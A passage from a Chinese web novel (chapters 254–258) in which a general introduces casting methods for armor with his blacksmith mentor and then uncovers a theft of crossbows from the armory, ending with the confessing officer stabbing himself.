“你问我绝技?”他哼了一声,“剑术到头来,无非‘精准’二字。发力、运劲、角度、时机,差之毫厘,谬以千里。这与打铁有何不同?火候差一分,钢不成钢;锤落偏一寸,形即走样!这十六年,我每一锤都在练精准,练发力,练感知,练心境……” 他站起身,佝偻的腰背似乎挺直了些,一股难以言喻的气势悄然弥漫开来,并非昔日剑压半座江湖的凌厉,而是一种沉凝如山岳、历经千锤百炼后的厚重与坚实。 “所谓剑道,跟打铁没啥区别;心浮气躁,打不出好器,更练不出真功!”他顺手接过凌川手中的刀,这把刀是他当初亲手锻造。 “你的路还长,但记住,真正的‘绝技’,不在那些花哨的招式名头里,而在你每一次出刀是否尽了全力,每一次发力是否用对了地方,每一次心念是否专注如一!” “若有一天,你能将这简单的一劈一砍,练到如打铁那般,闭着眼也能落锤无悔、分毫不差的境地……”杨斗重顿了顿,眼中闪过一丝难以捉摸的光芒,“那时,世间那些所谓的绝技,在你面前,也不过是些华而不实的废铁罢了!” 话音未落,也不见他如何作势,手腕只轻轻一抖。 刀光倏然掠起,平淡无奇,甚至没有半点风声。 紧接着,一只正嗡嗡飞过的小苍蝇,竟在空中无声无息地分为两半,轻飘飘坠落在地。 站在一旁的苍蝇目睹此景,只觉得脖颈后寒气陡生,下意识地猛一缩脖子,连退了两步,脸上血色褪尽。 凌川更是双目圆睁,心中骇浪滔天。 杨铁匠这一刀,速度并不快,更没有惊天动地的声势。可怕的是那妙至巅毫的时机把握,是那精准到可怕的判断力,于无常的飞动中,捕捉并斩断最微小的目标。 杨铁匠却像只是随手拂去一粒尘埃,全程淡然。 只见他晃了晃手中空荡荡的酒壶,凌川立马意会,让苍蝇去给他装一壶狼血。 “故事讲完了,陨铁呢?”杨铁匠把手中战刀丢给凌川,目光灼灼。 凌川讪讪一笑,说道:“我已经让江来给你送到军械司去了!” “你小子,拿我这把老骨头寻开心是吧!”杨铁匠顿时一怒,蒲扇般的巴掌带着风声就要拍下来。 凌川连忙闪开,解释道:“杨师傅别误会!那赤络星陨足有磨盘大小,死沉死沉,我直接送去军械司,省得您老来回折腾!” 杨铁匠脸上的怒容瞬间被激动取代,声音都压低了些:“果真是……赤络星陨?” “我不认得,不过聂星寒说是,大概率错不了!”凌川点头,神色也郑重起来,“陨铁任您处置,我只求您用边角料,顺手帮我锻打一把刀,一杆枪。” 杨铁匠双眼一瞪,呼吸都粗重了:“顺手?你小子说得比唱得还轻松!你知不知道这等神物,凡火难熔,凡锤难锻?一般工匠就算得到也无从下手,而且,一个不慎便精华尽毁,那就是暴殄天物!就算是那几位锻造宗师,得把命都豁上去才敢动手!” “锻造宗师能跟您相比吗?要是你拿它都没办法,其他人就更不行了!”凌川嘿嘿一笑,顺势揽住老铁匠的肩膀,“请您过来,就是有件比锻打星陨更紧要、也更长远的事跟您商量。” 杨铁匠警惕地瞥了他一眼:“瞧你这一脸奸笑,定是没憋好屁!” 凌川也不反驳,拉着杨铁匠径直来到白虎堂,桌案上已铺开一叠厚厚的宣纸,上面满是墨线勾勒的复杂图形。 凌川正色道:“杨师傅,眼下五万云州军等着配甲,光靠眼下咱们一锤一锤敲出甲片,速度太慢了!更何况,我还应下了陵州韩将军的两千副甲,这速度,必须得提上来!” 杨铁匠一听就炸了毛,唾沫星子横飞:“你他娘的说得轻巧!你知不知道这一副甲有多少片?足足两千多片!锻打、淬火、打磨、钻孔、编缀……哪一道工序不费功夫?你当是捏泥人呐?站着说话不腰疼!” “所以,我这不是给您找来了‘捏泥人’的法子嘛?”凌川不气不恼,嘴角噙着一丝神秘的笑,将桌上那叠图纸推到他面前,“您瞧瞧这个。” 杨铁匠狐疑地接过,只扫了几眼,眉头就死死拧成了一个疙瘩,上面的图形与他认知中的锻造图谱大相径庭,尽是些方方正正的框架、排列整齐的凹槽,还有许多他看不明白的分解结构。 “这是什么玩意,为何从未见过?”杨铁匠虽已猜出个大概,但却从未见过这种方法。 “这是铸模!”凌川解释道。 他手指点向图纸上一连串精巧的部件:“先雕出标准甲片器型,每一个甲片都和最终需要的甲片一模一样。然后,用极细的耐火泥浆反复浸涂蜡型,阴干,层层包裹,最后形成这么一个厚厚的内外泥壳!” 凌川一边说,一边观察着杨铁匠的神色,见老铁匠的眼神变得专注,便继续深入:“之后,用高温烘烤这泥壳,里面的蜡型会熔化流失,留下的,就是一个与甲片分毫不差、完美闭合的坚硬型腔。” 他又抽出另一张图,上面画着一个肚大颈小的陶制容器,周围环绕着鼓风的皮囊和管道:“这是关键——坩埚炉,我们把铁矿放在这里面高温烧化,反复去除杂质便可进行浇铸。你可别小看这坩埚,能聚温,铁水能烧得更透!” 最后,他将两张图拼在一起:“到时候先将铸模预热,然后把坩埚里熔化的铁水直接浇注入这一个个相连的型腔之中,铁水会瞬间填满每一个甲片的空位!” 凌川目光灼灼,语气充满了不容置疑的力量:“待铁水冷却,将外面的范泥分开,里面露出来的,就是上百片形状规格完全一样的甲片!我们只需要稍作修整打磨,然后再统一淬火,便可直接编缀成甲!” 他用手比划着,语气越来越快:“想想看,杨师傅!一次浇铸,就能得到过去几十个工匠捶打一整天的甲片数量!而且,浇铸出来的甲片大小、厚薄都一模一样,省去了后续打磨所需的人力和时间,最主要的是,这些铸模只要保护得当,可以反复使用!这速度相比起一片片捶打,提升了何止数倍?” 第一卷 第254章 好好奖励娘子! 第254章好好奖励娘子! 杨铁匠的目光彻底被图纸攫住,粗粝的手指不受控制地微微颤抖,抚过那些精密而陌生的线条,眼底翻涌着惊涛骇浪。震惊与锐利的光芒在他眸中交替闪烁。 铸造之法,他并非一无所知。 当年,正是因觉天下铁匠技艺平庸,难出神兵,他才愤而自学,经年累月地摸索试错,终得一朝淬炼,铸出名动江湖的“大江”剑。 十六年蛰伏于市井铁铺,以锤锻铁,以铁悟剑,其心境与手艺早已超脱凡俗,便是当代冶金宗师亦难望其项背。 然而,在他的认知里,铸造之术多行于铜器,罕用于铁;即便用于铁,也多是打造农具杂器,与军国利器无关。 非是无人试过铸甲铸兵,实是因浇铸所得之铁件,内含杂气,质性脆硬,无论硬度、韧性,皆远不及千锤百炼之钢,根本不堪战场摧折。 凌川所呈之法,却与他所知的一切截然不同。从这以蜡为模、以泥为范的诡奇思路,到那设计精奇、专为熔炼坚铁而设的坩埚炉……每一步都颠覆了他数十年的认知。 但这匪夷所思之法,真能铸出护命的坚甲? “小子!”杨铁匠声音沉凝,每一个字都砸得实实在在,“铠甲之事,关乎将士生死,非是儿戏,容不得半分虚妄和侥幸……” “杨师傅……”凌川迎着他的目光,斩钉截铁,“我身负一军之命,比任何人都在乎将士的生死!正因如此,我才敢断言,依我此法,必能得出合格的铠甲!” 他随即抽出一张早已备好的图纸,其上清晰地绘出了铸成甲片后的关键工序:“你看,铸造仅为第一步,后续还有退火以匀其质,淬火以增其硬,回火以定其形,去其脆性……每一步的火候、时机,我皆已标明注细!” “相较于刀剑需刚柔并济,铠甲首重坚不可摧,对韧性要求稍次,我们只需将其硬度催发至极,便是成功!” 杨铁匠沉默良久,目光在图纸与凌川坚毅的面容间来回扫视,脑中飞速推演着每一个环节的可能性与难关。 最终,他深吸一口气,道:“好!便依你之法……试上一试!但成与不成,老夫不敢打包票。” 凌川深知,自己空有超越时代的理论,却无与之匹配的千锤百炼之手。苍生刀的诞生,便是他结合前世记忆中超前的构想,与杨铁匠过人的手艺相结合的产物。 此番革新,同样如此。 没有杨铁匠这等冶炼巨擘亲自掌控火候、拿捏分寸、化解实操中无数意想不到的难题,再完美的图纸也只是废纸一张。 “若能成功!”杨铁匠的声音因激动而微微发哑,眼中迸发出狂热的光,“这将是开百代先河之事!冶炼之术,或将因此而变!” “所以,非您不可!”凌川眼神灼灼,恳切万分,“您是此中圣手,火里乾坤、料性把握,缺了您这双眼睛和这双手,万万不成!只要此法能成,莫说两千副甲,便是两万副,二十万副,亦非遥不可及!” 杨铁匠猛地抬起头,胸腔剧烈起伏,一把将桌上所有图纸紧紧攥在手中,枯瘦的手背上青筋暴起,那种感觉比他当年登顶江湖,成为剑道魁首更为激动。 他嘶声道:“我这就回军械司!开炉,试火!” 凌川又取出两张早已备好的图纸递上:“杨师傅,这是我所需刀枪的尺寸规制,有劳了!” 杨铁匠接过图纸,二话不说,转身大步流星而出,经过院中时,不忘一把从亲兵苍蝇手中夺过那只刚灌满的酒葫芦,牢牢系回腰间。 接下来这几日,凌川依旧在将军府中足不出户,除了日常训练之外,他与苏璃一起,对生意上的事情进行了规划。 “相公,再过几日,酿造司和织造坊就能开工了!”苏璃激动地说道。 酿造司和织造坊是凌川起的名字,以后这两大产业会越做越大,自然需要一个像样的名字。 “娘子辛苦了!”凌川一把搂过苏璃,说道。 苏璃顿时露出娇羞之色,“相公,这大白天呢,那么多人看着!” “看着怎么了?”凌川理直气壮地说道:“我自家娘子,亲热一下就算是天王老子来了也管不着!” 说完,更是一把将苏璃抱了起来,走进房间。 “相公……”苏璃呼吸急促,一张脸更是瞬间红到了脖子根。 “娘子这般辛苦,今日定要好好奖赏!”凌川坏笑道。 近段时间,两人都很忙,凌川甚至回到家的时候已是深夜,见苏璃熟睡,也不忍叫醒她。 积压了许久的‘爱’在这一刻彻底释放出来。 一直到接近晚饭时间,二人才起床。 “近段时间,云州不太平,明日沈珏回来之后,我让他带些人手跟随娘子身边!”凌川说道。 “相公也要保护好自己!”苏璃虽然从不过问凌川的公事,但凌川却从不隐瞒,甚至很多时候还会喊她帮忙拿主意,所以,她很清楚凌川接下来要做的事情是何等惊人。 紧接着,凌川又看向翠花,“翠花,你的伤怎么样了?” 翠花连忙起身,拍着胸脯说道:“将军,俺的伤早就好了!” 见她拍得胸口‘巨浪翻滚’想必也没事了,“明天早上开始,我教你一些近战之术,便于保护夫人!” “好的将军!”翠花激动地答应道。 翠花虽天生神力,有她在,一般人确实伤不到苏璃,但若是遇到真正的高手,仅靠蛮力显然不行。 就好比上一次在云岚县遭遇血衣堂的刺杀,翠花便是吃了不善近战的亏。 对于翠花金刚之体的事,凌川也曾请教过杨铁匠,后者告诉他,江湖中确实有这个说法,不过江湖传言的金刚之体,大多是力量过人之辈被夸大其词,真正的金刚之体极其罕见。 至于翠花是不是金刚之体,他也拿不准,毕竟,他也不曾亲眼见过真正的金刚之体。 不过,以这妮子那一身蛮力,一般的江湖高手若是与之正面对抗,还真不一定能胜他,若是加强拳脚训练,再练一门兵器,实力将极其恐怖。 第一卷 第255章 杀人术! 接下来这几日,天刚蒙蒙亮,凌川便带着翠花在院中开始了晨练。 他传授的是前世军队中淬炼出的杀人技——军体拳与擒拿手。 这些招式摒弃了一切华而不实的虚架,将无数流派的长处凝练为最直接、最有效的杀招,看似朴实无华,实则每一动都暗藏凶险,追求一击毙命。 就在凌川为翠花拆解锁喉擒拿的发力技巧时,一声带着浓浓不满的稚嫩哼声从廊下传来。 “哼!叔叔偏心!只教翠花姨,不教我!” 只见小北一身利落的短打装扮,腰间像模像样地别着那柄木刀,小嘴撅得老高,气鼓鼓地瞪着这边。 凌川闻声望去,先是一愣,随即心底漫上一阵深切的歉疚。这半年来,军务缠身,风波不断,他陪伴小北的时间屈指可数。 他深知这孩子内心对变强的渴望胜过任何人,每日清晨独自徒步去云州大营跟着兵士操练,下午再去学堂念书,这份坚韧远超同龄孩童。 当初他坚持让小北去学堂,而非请蒙学先生,便是希望他能多接触些同龄人,驱散些孤寂,可自己却未能给他足够的关怀。 凌川收敛心神,笑着朝他招手:“来得正好!快过来,和你翠花姨一起练。” 小北那点小脾气来得快去得也快,闻言立刻跑了过来,有模有样地摆开了架势。 “看好了!”凌川神色一肃,重新演示,“擒拿之要,在于拿其一点,控其全身!核心是拿、缠、拧、卸四字。时机稍纵即逝,速度至关重要,所以你们不仅要练手法,更要练眼力,力求窥出破绽,一击制敌!” 两人学得极为专注,悟性也高,很快便能掌握基础动作,上手比划。 “这些招式看似死板,实则存乎一心,待你们练到筋骨自成记忆,临敌时自可根据对方态势随机应变,生发出无穷变化!”凌川仔细纠正着他们的动作细节。 随后,凌川又将杨铁匠所授的刀法根基演练给二人。 小北握着木刀,一招一式虽显稚嫩却异常认真;翠花则直接从那沉重的兵器架上取下一柄二十多斤的环首大刀,舞动起来竟举重若轻,仿佛拈着一根灯草。 时光匆匆,又是几日过去,距与杨恪约定的半月之期愈来愈近。翠花与小北进步神速,凌川只需从旁点拨要害,修正偏误即可。 这日,凌川抽空去了军营深处的军械司,为避免招摇,他只带了苍蝇一人。 刚踏入那灼热之地,便见杨铁匠独自蹲在那块已被分解开的赤络星陨前,眉头紧锁,一脸的愁云惨淡。 “杨师傅,遇上难题了?”凌川如常将两坛狼血酒放在案上,走上前问道。 杨铁匠重重叹了口气,嗓音里带着前所未有的挫败:“唉……难怪古籍里只提过这玩意,却从没见谁真能用它打出过像样的兵器!原来这鬼东西,根本他娘的就烧不化!” “烧不化?”凌川一怔,目光投向那熊熊炉火。 只见几块暗金色的陨石在烈焰中被烧得通红,却依旧顽固地保持着棱角,丝毫没有软化的迹象。 旁边两名赤膊的壮汉拼尽全力交替鼓动着风箱,汗如雨下,炉火咆哮,却奈何不了那几块天外奇铁。 “烧了大半天了!最好的栎木炭,照你的方子用黄泥水浸焖过,可始终差那么一口气,就是化不开!”杨铁匠的语气焦躁又无奈。 凌川凝神思索片刻,开口道:“试试把生石灰研成细粉,厚厚地洒在矿石上。” “石灰粉?”杨铁匠将信将疑,“这玩意儿能顶用?” “相信我!”凌川语气笃定。 很快,石灰粉被取来,杨铁匠亲手将其均匀撒在通红的陨石上,顿时激起一阵“嗤嗤”的锐响,白烟腾起。 “快!鼓风!把吃奶的劲儿都给我使出来!”杨铁匠猛地喊道,眼睛死死钉在炉内。 烈焰舔舐着包裹石灰的矿石,颜色以肉眼可见的速度变得越发炽亮,那坚硬的棱角边缘,终于开始逐渐软化、熔蚀…… “化了!他娘的真的化了!”杨铁匠映满炉火的眼眸中爆发出狂喜的光芒,激动得声音都有些变调。 拉风箱的汉子闻声,更是铆足了力气。 “好小子!你,你这脑袋是怎么长的?连这种偏门法子都知道?”杨铁匠猛地扭头,激动又难以置信地看向凌川。 “侥幸从一本残破古籍上瞥见过一句半句!”凌川笑了笑,再次祭出这个万能的借口。 待矿石烧透,杨铁匠亲自用巨钳将其夹出,置于铁砧之上,抡起大锤猛砸下去。 然而,令人骇然的是,沉重的大锤砸落,那烧得通红的陨铁竟只是微微变形,反震之力铿锵作响。 饶是杨铁匠见多识广,也忍不住低骂了一句,但随即,一股更强烈的兴奋与挑战欲自他眼中燃起。 矿石尚且如此坚不可摧,若能成功锻造成兵,其锋芒将何等可怕? 反复捶打多次,方才勉强将一块矿石锻成铁坯形状,而铁坯已迅速冷却,必须回炉再烧。 杨铁匠抹去额头上成股的汗水,抓起酒壶狠狠灌了一大口,喘着气道:“照这么个折腾法,打完你那把刀,老子这把老骨头非得散架不可!” “可以先打你自己的剑!”凌川淡笑着说道。 杨铁匠微微一愣,问道:“为何?” 凌川笑了笑,说道:“我想见识一下曾经冠绝江湖的剑神,是何等风姿!” 杨铁匠笑骂一句,“这算什么狗屁理由?” 凌川笑了笑,转而问道:“铸造工坊那边进度如何?” “浇铸了几批,样子是出来了,大体不差!”杨铁匠指了指另一边,“就是后续淬火、回火的火候,那帮小子还没摸准脉,干废了不少。” “无妨,熟能生巧!做废了就回炉,绝不能有丝毫将就!”凌川语气严肃,“特别是过经过脉的处理和甲片编缀,必须选派手艺最精、心最细的老匠人来负责,工钱涨一些也无妨!” “你小子,是真不把老夫当人使唤啊!”杨铁匠笑骂一句,随即又正色道,“不过这批匠人里,确实有几个好苗子,等这边铸造走上正轨,老夫就撒手,专心伺候这几块祖宗!” 第一卷 第256章 军械库失窃! 平心而论,若无杨铁匠这等人物在此挑大梁,光是兵甲铸造这一摊子事就足以让凌川焦头烂额。 随后,在杨铁匠的带领下,二人步入喧闹的铸造工坊。 只见长条案台上堆满了新铸出的甲片,工匠们正埋头进行打磨、钻孔与热处理。见二人到来,一名机灵的年轻工匠连忙起身。 “杨师傅,您来了!” 杨铁匠笑骂着虚拍了一下他的后脑勺:“没规矩!凌将军在此,还不先行礼?是想让外人说老夫带的人不懂礼数吗?” 那年轻工匠吓了一跳,慌忙就要下跪:“草民无知,叩见将军!” 周围工匠见状也要跟着跪倒一片。 “诸位辛苦,不必多礼!”凌川抬手虚扶,“我只是随意来看看,大家各忙各的便是。” 然而,那领头的年轻工匠却并未起身,反而将头埋得更低,声音带着难以抑制的激动,甚至有些哽咽: “将军!小的……小的代我们全村逃难来的老小,叩谢将军活命之恩!若非将军收留,给了这安身立命、凭手艺吃饭的活计,我们……我们早就饿死冻死在逃难路上了!” 凌川了解后得知,眼前这批工匠都是为避战祸,从蓟州逃难而来的流民。先前蓟州被胡羯三部联军攻破,他们家园尽毁,无路可走,只得背井离乡,一路颠沛至云州。 当时恰逢军营招募工匠,他们为求一口饭吃、一个遮风挡雨之处,便都报了名。对这伙人而言,能活下来已是万幸。 这年轻工匠名叫庾朔。他们村旁原本有座铁矿,村中人多以打铁为生,手艺都是祖辈相传。因此一进军械司,便因扎实的功底很快受到重用。 “都起来吧!”凌川伸手将庾朔扶起,在他肩上轻轻一拍,正色道:“你们所做的每一片甲,将来都要穿在我云州儿郎的身上,伴他们浴血杀敌,此事关乎生死,绝不可有半分马虎。” “将军放心!我们心里清楚!”庾朔目光灼灼,斩钉截铁地说道:“必造出最坚固的铠甲,让将士们穿着它多杀胡贼,替我们死去的乡亲报仇!” 凌川庄重地点头,应道:“好!我向你保证,必率领云州将士,穿上你们铸的甲,为乡亲雪恨!” 走出铸造工坊,凌川对杨铁匠低声说:“杨师傅,这个庾朔,得多留心栽培。” 杨铁匠没好气地白他一眼:“就你明白?老夫眼又没瞎,早看出这是块好料!” 随后,凌川别过杨铁匠,带着苍蝇转往神机坊。 如今的神机坊规模不小,光木匠就有两百多人,杂工将近五百,主要负责制造破甲弓、匣子弩及各类弩箭。 凌川一到,墨巡立刻放下手中的活计迎上前。 “墨巡先生,近来辛苦!” 墨巡淡淡一笑:“将军言重!能将毕生所学用于实处,再辛苦也值得。更何况,比起前线将士浴血搏杀,我们这点辛苦,又算得了什么!” “目前进度如何?”凌川问。 “工匠越做越熟,比先前快了不少,再过几天,廷尉府订的那五百把匣子弩就能如期交付!” 这时,墨巡压低声音:“将军,可否借一步说话?” 凌川点头,二人走到屋外僻静处。 墨巡声音更轻,神色凝重:“将军,昨夜,丙字库中丢了一批弓弩成品!” “具体多少?”凌川眉头微皱,问道。 “破甲弓两百张,匣子弩一百把!”墨巡小心回答道。 凌川眉头瞬间锁紧。 丢失的弓弩虽价值不菲,但于他而言不算什么。真正令他担心的是有人可能借此仿造。 匣子弩的核心技艺始终握在墨巡手中,外人难以复刻;可破甲弓若被有心人依样模仿,即便只得七八分威力,也后患无穷。 而更让他警惕的是另一个问题。 “查到什么线索没有?”凌川沉声问。 “昨夜巡值的人说一切正常,库房内外也无明显痕迹,卑职正打算派人禀报将军!”墨巡答道。 “苍蝇,去调一队人过来。”凌川转头下令。 “是!”苍蝇领命,快步离开。 凌川又看向墨巡:“带我去库房看看!” 墨巡引路,带凌川走向丙字库。 还未进门,便见四五名兵卒正围着一张桌子喝酒,其中一人抬眼瞥见凌川,慌忙起身,舌头都有些打结: “参、参见将军!” 另外几人顿时哄笑起来: “又他妈来这套?都是哥几个玩剩的,你唬谁呢!” “就是,凌将军何等人物,会来这破地方?老实喝你的酒吧!”另一人端着酒碗,一只脚踩在凳子上,慢悠悠地说道。 凌川抬手,止住正要呵斥的墨巡,只是负手立于门前,目光冰冷。 那率先跪地的士兵见凌川面沉似水,吓得扑通一声彻底伏地。 剩余几人觉出气氛不对,扭头望来,笑声戛然而止,脸上醉醺醺的笑容瞬间僵住。 一阵桌椅乱响,几人连滚带爬地起身,踉跄跪倒: “参、参见将军……” 凌川扫过几人惨白的脸,嘴角勾起一抹冰冷的弧度: “巡值期间饮酒作乐……诸位真是好兴致!” 轻飘飘的一句话,顿时让几人面无人色,额角冷汗涔涔。 此前凌川早已明令,参与操练的士兵每晚可饮二两酒,未操练者一律不得饮酒。 尤其强调,凡是担负巡值任务,无论士卒校尉,严禁沾酒。 凌川不再看他们,丢下这句话,径直走入库房。那几人跪在原地,浑身发抖,酒早醒了大半,却是连头都不敢抬。 丙字库主要存放弓弩与箭矢,甲胄兵器甲字库与乙字库,凌川仔细环视一圈,并未发现异常。 墨巡跟在一旁低声道:“每把弓弩上,卑职都命人刻了独有编号,发放时对应士兵姓名。今早清点时,发现数目不对!” “上次盘库是什么时候?”凌川问。 “三天前!”墨巡答,“此后便再无大批提取。” “箭矢可有丢失?”凌川又问。 墨巡点了点头,说道:“也有丢失,数量大约在两千支左右!” 听到这话,凌川眉头皱得更紧,如果偷盗之人只是拿去换取钱财,那没必要去偷箭矢,因为箭矢的价格远不及弓弩,偷两千支箭,还不如多偷几把匣子弩。 第一卷 第257章 当斩! 就在这时,苍蝇带着一队亲兵赶到,数十人无声肃立于仓库门外,刀甲森然。 这一幕,让原本就跪在地上的几名士兵更是面无人色,冷汗早已浸透内衬,紧紧贴在背上。 “去把最近三日所有值守过丙字库的人全部传来。”凌川对苍蝇吩咐道,声音不高,却清晰冰冷。 “是!”苍蝇领命,转身低声安排,几名亲兵立即快步离去。 凌川并未立刻追问失窃之事,墨巡此前并未声张,因此,这几名士兵只当将军是来追究他们值守饮酒的过失,丝毫不知事态远比想象严重。 苍蝇搬来两把椅子,凌川对墨巡抬手示意:“先生请坐!” 二人坐下,凌川这才将目光重新投向那几名瑟瑟发抖的兵卒。 “酒,是哪来的?”他开口,声音平缓,却带着不容置疑的威压。 几人战战兢兢地对视一眼,最终,那名伍长硬着头皮答道:“回,回禀将军……是涂校尉送来的。” “涂校尉?”凌川眉头微蹙。云州军中将校他大多有印象,却不记得有这一号人物。 “是步兵营的校尉,涂洪!”伍长见状,急忙补充,“涂校尉喜欢喝酒,最近一段时间,乎每晚都会带酒菜过来,与夜间值守的弟兄们共饮至深夜。有时,也会给白日的兄弟留些酒……” 此话一出,连墨巡都察觉出不对。哪有人天天请不相干的人喝酒?还特意给值守军械重地的士卒备酒,这本身就极不寻常。 “带他来!”凌川再次开口。 这一次,不必苍蝇传令,门外两名亲兵已然领会,迅速转身离去。 不到一炷香的功夫,十多名曾看守丙字库的士兵被带了过来。他们虽还不明就里,但看见跪地的同袍和桌上未撤的酒菜,也猜到了七八分,个个屏息垂首,不敢抬头。 “参见将军……”众人行礼,声音透着不安。 凌川只是微微颔首,并未言语。 紧接着,门外脚步声再起。 只见两名亲兵带着一名身着常服、面色微醺的年轻男子走了进来,正是校尉涂洪。与他前后脚到的,还有闻讯匆忙赶来的步兵都尉程千韧及参军程砚。 “末将参见将军!”程千韧甲胄在身,抱拳行礼,声如洪钟。 “属下见过将军!”程砚亦紧随其后行礼,目光快速扫过现场,眉头微蹙。 “二位不必多礼,坐!”凌川点头示意。 苍蝇又搬来两把椅子,程千韧与程砚虽满腹疑惑,仍是依言坐下。 凌川的目光这才落到涂洪身上,后者此刻酒意已醒了大半,眼神闪烁,慌忙躬身:“属下涂洪,参见将军!” 凌川并未立刻让他起身,反而语气平淡地开口:“早就听闻涂校尉为人慷慨,今日一见,果然名不虚传,不愧是大门大户出来的子弟!” 此言一出,涂洪脸色骤然一变。 一旁的程千韧与程砚对视一眼,眼中皆闪过一丝了然与凝重。 他们心知将军近来意在整顿云州,先前拿李家开刀不过是序幕,如今这第二刀,怕是真要落在军中的门阀势力头上了。 拿涂洪这个涂家嫡系开刀,确是情理之中,只是他们一时还想不通,此事为何会与丙字库扯上关系。 别人或许不明就里,涂洪却是心下一片冰凉。 他强自镇定,顺着话头答道:“将军说笑了…属下只是性好杯中之物,与丙字库的几位弟兄投缘,一时忘了军纪,请将军责罚!” 凌川脸上掠过一丝极淡的笑意,看着他问:“哦?你自认违反了哪条军纪?” “巡值期间…聚众饮酒!”涂洪低着头回答。 “程参军!”凌川侧首看向身边的程砚,“依军规,此事该如何处置?” 程砚立刻起身,拱手肃容道:“回将军,巡值期间聚众饮酒,杖责二十,并罚没三月半数军饷!” 跪着的士兵们闻言,更是面如死灰。 军杖的滋味他们早有耳闻,二十杖足以让人半月难以下榻。 然而,凌川的声音再次响起,冰冷的目光如实质般钉在涂洪身上: “那若是盗窃军械,且数额巨大呢?” 此话如同冰锥刺入空气,所有人都不由自主地倒吸一口凉气。 程砚也是心头一震,但仍立刻回道:“回禀将军,盗窃军械,罪当问斩!所有值守人员,连同失职之官,皆依律连坐!” ‘当斩’二字如同惊雷,炸得涂洪身体猛地一颤。尽管他极力克制,但那瞬间的失态已被凌川尽收眼底。 程千韧豁然起身,浓眉紧锁:“将军,莫非是军械库遭窃了?” 凌川缓缓点头:“两百张破甲弓,一百把匣子弩,于这丙字库中内不翼而飞!” 直到此刻,众兵卒才恍然大悟,将军亲至,根本不是为了几口酒,而是为了这天大的失窃案! 两百张弓,一百把弩!如此数量的军械怎么可能在他们眼皮底下无声无息地消失? 程千韧勃然大怒,虎目圆睁,扫视着一众跪地的士兵,厉声喝道:“谁干的?现在自己滚出来,老子还能给你个痛快!” 士兵们吓得魂飞魄散,连连磕头哭喊:“将军明察!都尉明察!真不是我们干的啊!” “给我们天大的胆子也不敢啊!” “就算不是你们亲手所偷,东西也是在你们值守时丢的,一个都逃不了干系!”程千韧怒喝道。 他乃云州军中年资最老的都尉,也是陆老将军手底下的兵,威望素著,此刻盛怒之下,威势更显骇人。 他没少自嘲,当初一起并肩杀敌的兄弟们,现在不少都穿上将军甲了。 这番话也点醒了一些士卒,他们不由自主地看向涂洪,回想起这段时间他反常的殷勤。 见目光汇聚到自己身上,涂洪脸色愈发僵硬,强自争辩道:“你们看我作甚?我不过是找你们喝酒!再说,我每次都与你们在一处,难道我还能分身搬走几百张弓弩不成?” “你一人自然不能!”凌川的声音淡漠响起,“但若你在酒中下了药,待众人昏睡过去,再引同伙入内搬运,便是易如反掌!” 涂洪闻言瞳孔骤然收缩,猛地抬头,语气竟带上了一丝破釜沉舟的强硬:“将军!您若想整治属下,或是要动涂家,大可直言!何必编造此等莫须有的罪名,行此构陷之事!” 第一卷 第258章 忠孝难两全! 凌川并未因涂洪那几近挑衅的顶撞而动怒,嘴角反而牵起一丝难以捉摸的弧度。 “构陷?”他轻声复述,仿佛在舌尖掂量这两个字的分量,“涂校尉,本将军若真想动你,或动涂家,一纸军令足矣。何需绕这么大圈子,赔上三百弓弩作幌子?” 他目光转向那群面如土色的士卒,声音沉静却带着不容置疑的威压:“本将军再给你们最后一次机会。如实交代,或可从轻发落!” 这话宛如一丝曙光,照进绝望的深渊,士卒们眼神剧烈闪烁,拼命回想近日的异常。 “启禀将军!”一名伍长率先开口,声音发颤,“前夜涂校尉来与我等饮酒,喝到半途,众人便都不省人事了!醒来已是天光大亮!” “对对对!”另一名士兵急忙附和,“往日饮酒从未如此!当时只道是醉得狠了,未曾多想……” “放屁!”涂洪气急败坏地嘶吼,试图打断这致命的指证,“我当时不也醉倒了吗?你们在此一唱一和!这等拙劣伎俩,不觉得可笑吗?”他色厉内荏,额角青筋暴跳。 凌川神色未变,只平静地注视着他,那目光却似能穿透肺腑:“涂洪,你真以为本将军拿不到你的实证?数百弓弩,绝非你一人能运出军营,我只需下令彻查出营记录、盘问各门守卫,证据自会送到我面前!你确定,还要继续狡辩?” 涂洪目光剧烈闪烁,嘴唇翕动,却终究未能吐出辩驳之词。 反倒是程千韧猛然起身,几步跨到涂洪面前,魁梧的身躯投下沉重的阴影。 他虎目圆睁,声音因极力压抑的怒火而微微发颤:“涂洪!老子最后问你一遍,是不是你干的?” 他深吸一口气,痛心与失望溢于言表:“你要是个带把的,就敢做敢当!若你做了却连承认的卵子都没有,整个云州军都会唾弃你是个孬种!” 涂洪抬起眼,望向这位将自己从一名小卒一手提拔至今的都尉。程千韧治军虽严,对手下士兵却是一等一的好,往日种种维护与教诲瞬间涌上心头。他眼眶骤然通红,挣扎与绝望在眼中激烈交锋。 许久…… 他仿佛被抽空了所有力气,头颅重重一点,声音嘶哑:“是!是我干的!” 库房内一片死寂。尽管答案已在众人心中,但亲耳听到供认,仍是另一番震动。 “啪!” 一记清脆响亮的耳光猛地扇在涂洪脸上,力道之大让他踉跄了半步。 程千韧须发戟张,怒不可遏:“混账东西!老子怎么就带出你个吃里扒外的王八羔子!” 涂洪嘴角渗出血丝,却并未躲闪。 他抬眼望向程千韧,眼中委屈、无奈、痛苦交织,最终化为一声嘶吼:“是!我混账!我吃里扒外!可我有什么办法……” 他双目赤红,泪水夺眶而出:“也想把这一腔热血献给云州军,我也想杀敌建功受人敬仰,我也想有朝一日能堂堂正正穿上那身将军甲!” “可我没得选啊……一边是尽忠,一边是尽孝,忠孝两全?说得轻巧!现实何曾给过我选择?” 此言一出,凌川、程千韧、程砚等人心中顿时了然,这背后,是家族难以抗拒的威逼与重压。 程千韧胸口剧烈起伏,深吸一口气,仿佛下了极大的决心,沉声道:“把弓弩给我追回来,老子豁出这张脸,亲自去求将军……” “不必了……”涂洪却猛地打断他,无力地摇了摇头,脸上露出一抹惨然决绝的笑,“都尉,不必了……” 话音未落,他手腕一翻,竟自袖中滑出一柄寒光闪闪的短匕! 距离最近的苍蝇瞳孔一缩,瞬间拔刀前冲:“你敢!” 然而—— “嗤……” 一声令人心颤的轻响传来。 匕首并非刺向他人,而是被涂洪全力刺入了自己的心口,鲜血瞬间汹涌而出,染红了他胸前的衣襟。 一切发生得太快,众人皆惊愕当场。 所有人都以为他欲劫持程老都尉藉此脱身,却万万没想到,他求的竟是一个自我了断。 程千韧愣了一瞬,随即发出一声近乎咆哮的嘶吼,猛地扑上前,一把扶住涂洪软倒的身体:“小王八蛋!谁他妈准你死的?谁准的!” 